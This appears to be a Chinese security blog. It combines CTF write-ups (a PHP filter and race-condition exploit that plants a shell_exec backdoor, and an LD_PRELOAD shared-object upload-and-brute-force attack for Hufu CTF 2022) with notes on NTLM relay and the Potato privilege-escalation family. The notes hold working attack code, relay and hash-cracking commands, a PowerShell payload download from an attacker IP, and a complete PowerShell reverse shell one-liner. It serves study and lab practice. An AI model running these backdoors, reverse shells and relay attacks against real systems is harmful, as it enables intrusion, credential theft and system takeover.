    print('[+] secret: ' + secret, file=sys.stderr)
    
    code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
    payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
    payload_encoded = b'abcdfg' + base64.b64encode(payload)
    print(payload_encoded)
    assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)
    
    # check if the payload would work on our local php setup
    with tempfile.NamedTemporaryFile() as tmp:
        tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
        tmp.flush()
        o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
        print(o, file=sys.stderr)
        assert payload in o
    
        os.chdir('/tmp')
        subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
        with open(backdoor_name) as f:
            d = f.read()
            assert d == 'test'
    
    
    pid = -1
    N = 10
    
    done = False
    
    def worker(i):
        time.sleep(1)
        while not done:
            print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
            s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
            os.system(s)
    
    def delete_worker():
        time.sleep(1)
        while not done:
            print('[+] starting delete worker', file=sys.stderr)
            s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
            os.system(s)
    
    for i in range(N):
        threading.Thread(target=worker, args=(i, ), daemon=True).start()
    threading.Thread(target=delete_worker, daemon=True).start()
    
    
    while not done:
        try:
            r = requests.get(url, params={
                'page': '/proc/sys/kernel/ns_last_pid'
            }, timeout=10)
            print(f'[+] pid: {pid}', file=sys.stderr)
            if int(r.text) > (pid+N):
                pid = int(r.text) + 200
                print(f'[+] pid overflow: {pid}', file=sys.stderr)
                os.system('pkill -9 -x bombardier')
    
            r = requests.get(f'{url}data/{backdoor_name}', params={
                's' : secret,
                'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
            }, timeout=10)
    
            if r.status_code == 200:
                print(r.text)
                done = True
                os.system('pkill -9 -x bombardier')
                exit()
    
    
            time.sleep(0.5)
        except Exception as e:
            print(e, file=sys.stderr)
    
  • [虎符CTF 2022]ezphp


    p 神的环境变量注入 getshell 只限于 centos 系统,debian 无法利用,具体原理翻原文。
    这里利用 hxp2021 中 nginx 上传文件的特性,传一个恶意的 so 文件,然后再用 LD_PRELOAD 加载
    恶意的 so 文件:
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    __attribute__ ((__constructor__)) void preload (void){
      unsetenv("LD_PRELOAD");
      system("id");
      system("cat /flag > /var/www/html/flag");
    }
    

    然后用脚本直接在 so 后面添加垃圾数据(因为 elf 文件的规范性这里不会影响解析)
    然后爆破:
    import threading, requests
    
    URL = 'http://1.14.71.254:28878/'
    
    done = False
    
    def uploader():
        print('[+] starting uploader')
        while not done:
            requests.get(URL, data=open("D:/tmp/evil_dirty.so", "br").read())
    
    for _ in range(16):
        t = threading.Thread(target=uploader)
        t.start()
    
    def bruter():
        for pid in range(4194304):
            print(f'[+] brute loop restarted: {pid}')
            for fd in range(4, 32):
                f = f'/proc/{pid}/fd/{fd}'
                r  = requests.get(URL, params={
                    'env': f"LD_PRELOAD={f}",
                })
                if 'uid' in r.text:
                    print(r.text)
                    print("[+] finished")
                    exit()
    
    a = threading.Thread(target=bruter)
    a.start()
    

    image-20220511232122666
  • 参考文献


前面的 NTLM 协议学习记录中提到过几种攻击方式,但毕竟是偏向笔记的水文,这里重新实验并思考。

  • 利用前提


    发送 NTLM 请求的情景:NTLM 是一种嵌套协议,SMB,HTTP,LDAP,MSSQL 等协议都可以携带 NTLM 认证的三类消息,也就说通过以上协议进行 NTLM 认证的程序都会发送 Net-NTLMhash,而这个 Net-NTLMhash 也可以被攻击者截取。
    目标机器的 SMB 签名关闭

    在 SMB 连接中,需要通过 SMB 签名和加密来保护服务器和客户端之间传输数据的完整性,如果关闭 SMB 签名,攻击者就可以拦截认证过程,并将获得的 hash 在其它机器上重放,从而获得权限。
    一般情况下,域内默认仅在域控制器上启用,域成员机器没有启用。
    攻击之前先做一下信息收集,工具地址:https://github.com/lgandx/Responder
    image-20220430112109698
    其中 10.0.10.1 是主机,10.0.10.110 是域控,只有域控开启了签名
    截取到的用户 RID 为 500

    与补丁 kb2871997(哈希传递) 有关,RID 500 的账户和本地管理员成员的域账户是过了 UAC 的,不满足这个条件即使拿到了高权限也没法过 UAC。
  • 关于签名


    当认证完毕后,客户端和服务端都知道一个 key 用于对后续的操作进行解密,这里获取这个 key 存在一个密钥协商的过程。
    exported_session_key 是客户端生成的 16 位随机数,客户端用这个 key 进行加密和解密。key_exchange_key 是使用用户密码,经过一定运算后得到的。密钥协商过程如下。最后加密使用的是 encrypted_random_session_key:
    image-20220430161316116
  • SMB 欺骗


    远程链接计算机访问共享资源的方式:
    共享计算机地址\共IP享资源路径
    共享计算机名\共享资源路径
    

    首先要发起一个 NTLM 请求, net use 一个不存在的路径,然后进行 windows 系统名称解析,顺序为:
    本地hosts文件(%windir%\System32\drivers\etc\hosts)
    DNS缓存/DNS服务器
    链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
    

    路径不存在,会通过 LLMNR 和 NBT-NS 进行名称解析,加ing未经认证的 UDP 广播到网络中,询问这个名称
    image-20220430112509704
    此时攻击机开启 responder 的监听,就可以截取这个 hash,使用的协议是 NTLMV2,可以尝试暴力破解。(对于 V1 的破解可参考:https://www.anquanke.com/post/id/194069)
     sudo responder -I eth0
    

    image-20220430112527657
    hashcat -m 5600 Administrator::VULNTARGET:1122334455667788:8E40968E9E1648DF620E9D67067B36AD:010100000000000080D6BD2B205CD8019C850A7FD433C1710000000002000800380043005100320001001E00570049004E002D004200460048004300490038004500360049004F00330004003400570049004E002D004200460048004300490038004500360049004F0033002E0038004300510032002E004C004F00430041004C000300140038004300510032002E004C004F00430041004C000500140038004300510032002E004C004F00430041004C000700080080D6BD2B205CD801060004000200000008003000300000000000000000000000003000006525BD0F48330D5D08F941E7A1CF0353F6813FD55C9026B9610D45D540489F9B0A001000000000000000000000000000000000000900120063006900660073002F006100610061006100000000000000000000000000 old-passwords.txt -o found.txt --force
    

    image-20220430125150459
  • 域中的中继


    工作组中只能中继 rid 500 的 administrator 账户,成功的条件是被欺骗机器的 administrator 密码和被攻击主机的 administrator 密码相同。
    在域中因为存在域用户,限制就小了很多。这里在 win7(10.0.10.10)中登录了域管账号,尝试用 MultiRelay 进行中继攻击。
    一个终端使用 Responder 监听,另一个终端运行 MultiRelay
    sudo python3 MultiRelay.py -t <被攻击ip> -u ALL
    

    image-20220430113145738
    在 win7 上用域管账号触发 ntlm 请求后,直接转发到 10.0.10.111 上登录,拿到 system 权限。
    现在要确定的是不同权限用户是否可以实现中继攻击,首先添加两个普通的域用户 testa 和 testb,在 testa 登录的主机上创建一个共享文件夹。此时 testb 可以直接访问到这个文件夹。
    image-20220430122109792
    在域中的 NTLM 认证数据会从域控那里获取,且这里访问共享也是从域数据库中查找,也就是说域内普通用户相互访问不需要密码认证。
    但此时在用 testb 中继攻击 testa 还是失败,就是前面提到的权限问题。
    image-20220430122742769
    如果将 testb 加入到本地管理员组中,再进行测试(xs,本地管理员组怎么可能登上别的机器,除非密码一样)
    net localgroup Administrators testb /add
    

    image-20220430123329226
    image-20220430123543397
    伪造 SMB 服务器

    让 10.0.10.10(登录域管账户)取访问攻击机,攻击机将流量转发到受害机(10.0.10.111)
    impacket-smbrelayx -h 10.0.10.111 -c whoami
    

    image-20220430130559531
    还可以直接上线?
    impacket-smbrelayx -h <被攻击ip> -e shell.exe
    

    CVE-2015-0005

    结合前面提到的签名过程中,由于攻击者没有用户的 hash(也就是没有 key_exchange_key),虽然能在流量中获取 encrypted_random_session_key,但也没法算出 exported_session_key,没法对流量进行签名。
    而这个 CVE 就是泄露了 key_exchange_key。
    在域内进行 ntlm relay 时候,如果登录的用户是域用户,这个时候认证服务器本地没有这个 hash,就会通过 NETLOGON 把 type1, type2, type3 都发给域控,在域控中进行认证(注意这时没有要 hash)。但在认证之后,被请求机器还是没有请求用户的 hash,所以这时要向域控索要 key_exchange_key,而域控那边的处理逻辑中,没有对索要 key_exchange_key 进行鉴权,只要是机器用户都会给!(图来自:https://www.anquanke.com/post/id/194514
    image-20220430173715072
  • NTLM 反射(土豆提权)


    如果攻击者并没有获得目标机器的权限,而是能使其发送特定的 ntlm 请求,那么攻击者再收到这个 ntlm 后接着发送给目标机器,从而实现攻击效果。
    各种的土豆提权就是基于这种原理,该提权手法的前提是拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege(system才有) 权限,其中有 SeImpersonatePrivilege 权限的有:
    本地管理员账户(不包括管理员组普通账户)和本地服务帐户
    由SCM启动的服务
    

    其中 windows 服务的登录账户有:
    NT AUTHORITY\System
    NT AUTHORITY\Network Service
    NT AUTHORITY\Local Service
    

    通常在通过攻击 windows 的一些服务会拿到相应服务的权限(如 mssql 的 xp_cmdshell)
    此类提权的利用范围就是:
    Administrator——>SYSTEM
    Service——>SYSTEM
    

    至于为什么需要这两种权限,可以看之前写的关于 windows 命名管道的这篇文章:http://moonflower.fun/index.php/2022/03/18/301/,其中的思路于 msf 的 getsystem 相似,其中 SeImpersonatePrivilege 权限可以调用 CreateProcessWithTokenW 以某个 Token 的权限启动新进程,而 SeAssignPrimaryTokenPrivilege 可以调用 CreateProcessAsUserW 以 hToken 权限启动新进程。
    剩下的太多了放下一篇了。。。
  • 参考文献


 

  • Origin Potato(MS08-068)


    原理就是上文提到的 ntlm 反射,
    image-20220430170143680
    重点看一下修复,微软在 kb957097 补丁中通过修复 SMB 身份验证答复的验证方式来防止凭据重播。当主机 A 向主机 B 进行 SMB 认证的时候,将 pszTargetName 设置为 cifs/B,然后在 type2 拿到 B 发送的 Challenge 之后,在 lsass 里面缓存 (Challenge,cifs/B),接着 B 拿到 A 的 type3,这时会去检查 lsass 缓存里是否有 (Challenge,cifs/B),如果有就说明这是同一台主机,那么认证失败。
  • Hot Potato(MS16-075)


    影响范围 Windows 7,8,10,Server 2008 以及 Server 2012,经典的 ntlm relay 攻击链,依靠 windows update 触发。工具地址:https://github.com/foxglovesec/Potato
    image-20220430174056225
    实现流程:
    1.本地 NBNS Spoofer :冒充名称解析,强制系统下载恶意 WAPD 配置
    2.伪造 WPAD 代理服务器:部署 malicios WAPD 配置,强制系统进行 NTLM 认证
    3.HTTP -> SMB NTLM 中继:将 WAPD NTLM 令牌中继到 SMB 服务以创建提升的进程
    

    流程分 3 步,首先进行本地 NBNS 欺骗,windows 通常通过这一协议进行域名解析,当 windows 在 hosts 文件和 dns 查询都搜索失败后,会再进行 NBNS 查询,在本地广播域中向所有的主机发出 UDP 广播询问。
    但是直接嗅探到网络流量信息需要本地管理员权限,这里曲线救国。如果我们能提前知道 NBNS 请求所对应的目标主机的主机名(目标主机 127.0.0.1),就可以创建一个虚假的应答信息,并快速地使用 NBNS 应答信息来对目标主机进行泛洪攻击。因为 NBNS 数据包中有一个长度为 2 子节的数据域-TXID,要求与请求和应答信息相匹配,所以要通过泛洪暴力枚举 65536 个可能性。
    这是没有匹配到 dns 的情况,如果之前就保存了主机的 DNS 记录,那么可以使用 UDP 端口枯竭(使每一个 UDP 端口失效),迫使目标系统中所有的 DNS 查询失败。
    下一步是伪造 WPAD 代理服务器,在 windows 操作系统中,IE 浏览器在默认情况下会通过 http://wpad/wpad.dat 来自动尝试检查网络代理,同时也有其它一些 windows 中的服务会采用这一机制(比如利用中提到的 Windows Update)。
    但是并不是所有网络中都可以正常访问这个 url(不是所有的 dns 域名服务器都存在主机 wpad),那么我们就可以伪造一个 WPAD 代理服务器,结合前文的本地 NBNS 欺骗,就可以声称 WPAD 主机的 ip 地址是目标地址(127.0.0.1)。
    这时在 127.0.0.1 本地运行一个 HTTP 服务器,当收到 http://wpad/wpad.dat 请求时,做以下答复:
    FindProxyForURL(url,host){
        if (dnsDomainIs(host, "localhost")) return "DIRECT";
        return "PROXY 127.0.0.1:80";
    

    这样目标上所有的 http 流量都通过 127.0.01 重定向。
    之前对于 NTLM 反射的补丁只限于 SMB->SMB,但 NTLM 支持跨协议,也就是说像 HTTP->SMB 仍可正常工作。
    现在 HTTP 流量都会途径我们控制的 HTTP 服务器,那么就可以将其重定向到 URL: http://localhost/GETHASHESxxxxx,以 NTLM 身份验证的 401 请求响应(其中 xxxxx 是某个唯一标识符)。然后将 NTLM 凭据中继到本地 SMB 监听器以创建运行用户定义命令的新系统服务。
    当这个请求由高权限发起的时候(比如 windows update,system 权限),就完成了提权。
    再看一下漏洞的触发,依赖于发送 http://wpad/wpad.dat 请求,而当 windows 已经由 WPAD 的缓存条目或因为没有找到 WPAD 而允许直接上网时,需要 30-60 min才会刷新。
  • Rotten Potato(MS16-075的变种)


    通过 DCOM call 来使服务向攻击者监听的端口发起连接并进行 NTLM 认证,需要 SelmpersonatePrivilege 权限。可以立即触发,不需要等待 windows 更新。
    影响范围:< win10 1809 和 windows server 2019
    image-20220430203014510
    实现流程:
    1.通过 NT AUTHORITY/SYSTEM 运行的 RPC 将尝试通过 CoGetInstanceFromIStorage API 调用向我们的本地代理进行身份验证
    2.135 端口的 RPC 将用于回复第一个 RPC 正在执行的所有请求充当模板
    3.AcceptSecurityContextAPI 调用以在本地模拟 NT AUTHORITY/SYSTEM
    

    首先是用 CoGetInstanceFromIStorage 尝试从调用者(system)指定的位置获取指定对象的实例,下面代码试图从 127.0.0.1 的 6666 端口上获取一个 BITS 对象。(实际上是从 IStorage 中获取对象)
    其中,CLSID 是标识 COM 类对象的全局唯一标识符,类似 uuid。BITS(后台只能传输服务)实现从 HTTP web 服务器 和 SMB 服务实现文件共享,BITS 实现了 IMarshal 接口并允许代理声明强制 NTLM 身份验证。
    public static void BootstrapComMarshal()
    {
    IStorage stg = ComUtils.CreateStorage();
     
    //使用已知的本地系统服务 COM 服务器,在此强制执行 BITSv1
    Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
     
    TestClass c = new TestClass(stg, String.Format("{0}[{1}]", "127.0.0.1", 6666)); // ip and port
     
    MULTI_QI[] qis = new MULTI_QI[1];
     
    qis[0].pIID = ComUtils.IID_IUnknownPtr;
    qis[0].pItf = null;
    qis[0].hr = 0;
     
    CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1,       qis);
    }
    

    现在有一个 COM 试图连接 127.0.0.1:6666(通过 RPC 协议),那么我们在 6666 端口上建立一个本地 TCP 监听器,如果这时我们以正确的方式回复,那么这个 COM(system 权限运行)就会尝试与我们进行 NTLM 身份验证。
    在这里我们做的是将 6666 接收到的数据包中继到本地的 135 端口的 RPC 监听器上,并将 135 端口返回的数据包作为回复 COM 的模板。
    如果从调用函数的层面理解 NTLM 的认证过程,有下图:
    image-20220430213137161
    重点看服务端的调用,首先调用 acquirecdentialshandle 获取相应的句柄,然后用 AcceptSecurityContext 处理 type1,这个函数的输出就是 type2 的消息,该消息将被发送回试图进行身份验证的客户端,这里就是 DCOM。
    当客户端回复 type3 后,服务端将其传递给 AcceptSecurityContext,以完成身份验证并获得令牌。
    在我们的攻击中,type1被转发到了 RPC 的135 端口上,RPC 回复一个 Type2,但不是直接转发回去,需要在中转的时候进行一些处理,这里做的使用 AcceptSecurityContext 调用的结果替换发送到 COM 数据包中的 NTLM blob(?)。
    但为什么要这样?因为我们需要的是用 system 账户运行的 COM 来完成 NTLM Challenge 和 Reserved(我们使用这两个部分来协商本地令牌),所以如果不替换,后续再次调用 AcceptSecurityContext 就会失败。
    到现在为止,我们能确定的是,客户端以 system 权限执行的 COM 需要对服务端返回的 NTLM type2 数据包中的 NTLM Server Challenge 和 Reserved 部分进行一些操作(magic?),而只有对 AcceptSecurityContext 生成的结果执行这些操作的时候,才能获得令牌。
    这里的 Reserved 字段实际上是对 SecHandle 的引用,当 system 账户接收到 NTLM type2 的消息时,会在内存中进行 Reserved 验证(如果没有替换,将被认证为 RPC 而不是我们)。
    完成上述操作后,system 权限运行的 COM 将向我们发送 type3(是空的?),但会用它来调用 AcceptSecurityContext。最后使用其调用结果用 ImpersonateSecurityContext 获得一个模拟令牌。
    有了模拟令牌,根据 SeImpersonate 权限的特性,可以以此令牌创建进程。
    (基本直接翻译原文,其中有很多地方还不是很理解,有错误希望各位师傅指出)
    原版的 Rotten Potato 的实现基于 meterpreter shell,后来有人写了 webshell 的版本(也就是 Lonely Potato)。
    复现:

    新建一个 IIS 服务器,传上 shell,连上?
    image-20220501134711345
    尝试获取不同权限,直接 cd 到 public 中可以获取 IUSR 权限
    image-20220501134909414
    用烂土豆提权:
    image-20220501135318662
  • Juicy Potato(对 Rotten Potato 的完善)


    禁用了 BITS(Rotten Potato 用请求的对象)并占用了 6666 端口,但除了 BITS (CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097}),还有其它的 COM 对象可以选择。
    选择的 COM 对象需要满足的条件是:
    1.可由当前用户实例化,通常是具有模拟权限的服务用户(最开始提到的 potato 家族提权的前提条件)
    2.实现 IMarshal 接口
    3.以提升的用户身份运行(SYSTEM,Administrator ...)
    

    image-20220501123950450
    实现流程和 Rotten Potato 相似。Juicy Potato 通过传递 BITS 的 CLSID 和 IStorage 对象实例给 CoGetInstanceFromIStorage 函数,是 rpcss 激活 BITS 服务,随后 rpcss 的 DCOM OXID resolver 会解析序列化数据中的 OBJREF 拿到DUALSTRINGARRAY 字段,该字段指定了 host[port] 格式的 location,绑定对象时会向其中的 host[port] 发送 DEC/RPC 请求,这时,如果攻击者控制了这个端口,就可以要求机型 NTLM 身份验证,那么高权限服务就会发送 net-NTLM 进行认证。
    拿到 net-NTLM 后会通过 SSPI 的 AcceptSecurityContext 函数进行本地 NTLM 协商,而我们 relay 到本机的 RPC 135 端口来获取系统合法的 RPC 报文,后面的过程只需替换 RPC 报文中的 NTLM SSP 部分即可。
    复现:

    powershell 上传文件:
    (new-object net.webclient).downloadfile('http://10.10.10.1:5555/JuicyPotato.exe', 'C:\Users\Public\JuicyPotato.exe')
    

    用 webshell 反弹 shell
    powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('10.10.10.131',12333);$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (IEX $d 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sby = ([text.encoding]::ASCII).GetBytes($sb2);$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()"
    

    image-20220501141125597
    运行 payload:
    .\JuicyPotato.exe -l 1337 -p cmd.exe -t *
    

    image-20220501145032101
  • PrintSpoofer


    看这个洞之前先回顾一下 getsystem 的原理那篇文章,提权的原理就是诱使 system 权限的服务访问我们指定的命名管道,getsystem 提供各种模式欺骗 system 连接管道:
    image-20220501162302890
    其中第 5 个就是 PrintSpoofer,利用了打印机组件路径检查的 bug。
    项目地址:https://github.com/leechristensen/SpoolSample
    Windows 的 MS-RPRN 协议用于打印客户机和打印服务器之间的通信,默认情况下启用。协议定义的 RpcRemoteFindFirstPrinterChangeNotificationEx() 调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。
    DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 
        /* [in] */ PRINTER_HANDLE hPrinter,
        /* [in] */ DWORD fdwFlags,
        /* [in] */ DWORD fdwOptions,
        /* [unique][string][in] */ wchar_t *pszLocalMachine,
        /* [in] */ DWORD dwPrinterLocal,
        /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)
    

    同时,Print Spooler 服务的 RPC 接口暴露在命名管道:\\.\pipe\spoolss 中,该服务默认开启。
    其中 pszLocalMachine 是指向表示客户端计算机名称的字符串的指针,需要传递一个 UNC 路径,传递 \\127.0.0.1 时,服务器会访问 \\127.0.0.1\pipe\spoolss,但这个管道已经被系统注册了,并由 NT AUTHORITY\SYSTEM 控制。
    那么下一步就是要想办法把这个请求让我们准备好的恶意管道接收。
    考虑到 UNC 路径的性质,如果主机名包含 /,它将通过路径检查,但真正连接的时候会转化为 \ 。那么,如果传递一个 \\127.0.0.1/pipe/foo,检查时会认为 127.0.0.1/pipe/foo 是一个主机名,随后在连接 named pipe 时会对参数做标准化,于是就会连接 \\127.0.0.1\pipe\foo\pipe\spoolss,那么攻击者就可以把主机名改为 \\127.0.0.1/pipe/foo 并注册这个 named pipe 从而窃取 client 的 token。
    工具地址:https://github.com/itm4n/PrintSpoofer
    还有 crisprss 修改的免杀版:https://github.com/crisprss/PrintSpoofer
    image-20220501170329805
  • Rogue Potato(Rotten / Juicy 的绕过)


    高版本的 Windows DCOM 解析器不允许 OBJREF 中的 DUALSTRINGARRAY 字段指定端口号,既然这样就在一台远程主机上的 135 端口做流量转发,将其转回受害者本机端口,并实现了一个恶意的 RPC OXID 解析器。
    image-20220501172346070
    OXID 解析器是 rpcss 服务的一部分,在每台支持 COM+ 的机器上的 135 端口上运行 ,它执行两个重要任务:
    1.存储连接远程对象所必须的 RPC 字符串绑定,并将它们提供给本地客户机。
    2.将 ping 消息发送给本地机器拥有客户端的远程对象,并接收本地机器运行的对象的 ping 消息。(支持 COM+ 垃圾回收机制)
    

    OXID 解析器的工作流程如下:
    image-20220501174253293
    其中客户端就是 RPCSS 服务,它将尝试连接到我们的恶意 OXID 解析器。
    在正常情况下,客户端的 OXID 解析序列中的所有请求都经过身份验证后,就会模拟运行我们选择的 CLSID 对应 COM 的用户(SYSTEM)。土豆系列的攻击就是拦截这个认证过程并窃取令牌。
    看一下 RPC 支持的协议,我们伪造的 OXID 解析器能选择协议序列标识(protocol sequence),也就是说可以选择调用的具体协议。
    RPC transportRPC protocol sequence string
    SMBncacn_np (see section 2.1.1.2)
    TCP/IP (both IPv4 and IPv6)ncacn_ip_tcp (see section 2.1.1.1)
    UDPncadg_ip_udp (see section 2.1.2.1)
    SPXncacn_spx (see section 2.1.1.3)
    IPXncadg_ipx (see section 2.1.2.2)
    NetBIOS over IPXncacn_nb_ipx (see section 2.1.1.4)
    NetBIOS over TCPncacn_nb_tcp (see section 2.1.1.5)
    NetBIOS over NetBEUIncacn_nb_nb (see section 2.1.1.6)
    AppleTalkncacn_at_dsp (see section 2.1.1.7)
    RPC over HTTPncacn_http (see section 2.1.1.8)

    当使用 ncacn_ip_tcp 的时候,它允许 RPC 直接通过 TCP。我们使用 IRemUnknown2 接口运行 RPC 服务器,并尝试调用 RpcImpersonateClient 的 SecurityCallback 来验证请求。在 resolveoxid2 响应中返回 ncacn_ip_tcp:localhost[9998],触发 RPC 服务器的身份验证(但是只有一个标识符)。
    综上,如果我们将 OXID 解析请求重定向到我们控制下的端口 135 上的远程服务器,并将请求转发到我们的本地 Fake RPC 服务器,我们将仅获得一个匿名登录。如果将 OXID 解析请求解析到一个假的 RPC 服务器,那么将会在 IRemUnkown2 查询的时候获得一个系统令牌(但只是个标识令牌)。
    但作者后续借鉴了 PrintSpoofer 的利用思路,使用了 ncacn _ np(向连接的命名管道)。这里选用了 epmapper 管道(和 RpcEptMapper 服务有关,用于解析 RPC 接口标识符以传输端点)。这个服务和 rpcss 服务共享进程空间,并且都在 NETWORK SERVICE 帐户下运行,那么如果能在这个进程下模拟该账户,就可以窃取 SYSTEM 令牌。
    但是根据协议的设计,即使使用了 ncacn_np:localhost[\pipe\roguepotato],也会最终连接到 epmapper 管道。
    到这里已经有些眉目了,遇到的问题和 PrintSpoofer 中的一样,同样也可以通过在主机名中插入 / 实现绕过。
    如果返回的绑定信息是 ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper],那么 RPCSS 就会尝试连接不存在的命名管道 \roguepotato\pipe\epmapper,那我们在此管道上进行监听,就能获得 SYSTEM 权限的模拟令牌了!
    工具地址:https://github.com/antonioCoco/RoguePotato
  • Ghost potato(MS08-068 绕过)


    为防止用户 relay 本机,在 lsass 中添加缓存绕过,如果缓存中有 (Challenge,cifs/B) 就会认证失败。
    然而这个 (Challenge,cifs/B) 是有时效性的(300s),所有只要等 300s 再发送 type3 就可以 bypass 了。
    image-20220501200135291
    用修改后的 impacket https://shenaniganslabs.io/files/impacket-ghostpotato.zip 可以直接打,用法和 MS08-068 类似。
  • SweetPotato


    集成了前面几种土豆触发 NTLM 认证的方式,包括:COM,WinRM,Spoolsv,其中 WInRM 的攻击原理参考:https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
    大致思路就是当 WinRM 在当前系统未启用时,攻击者监听本机 5985 端口,BITS 服务会向 WinRM 5985 发起 NTLM 认证,
    工具地址:https://github.com/CCob/SweetPotato
    因为 windows 代码能力太差了看不懂 exp,之后一定补!!!
  • 参考文献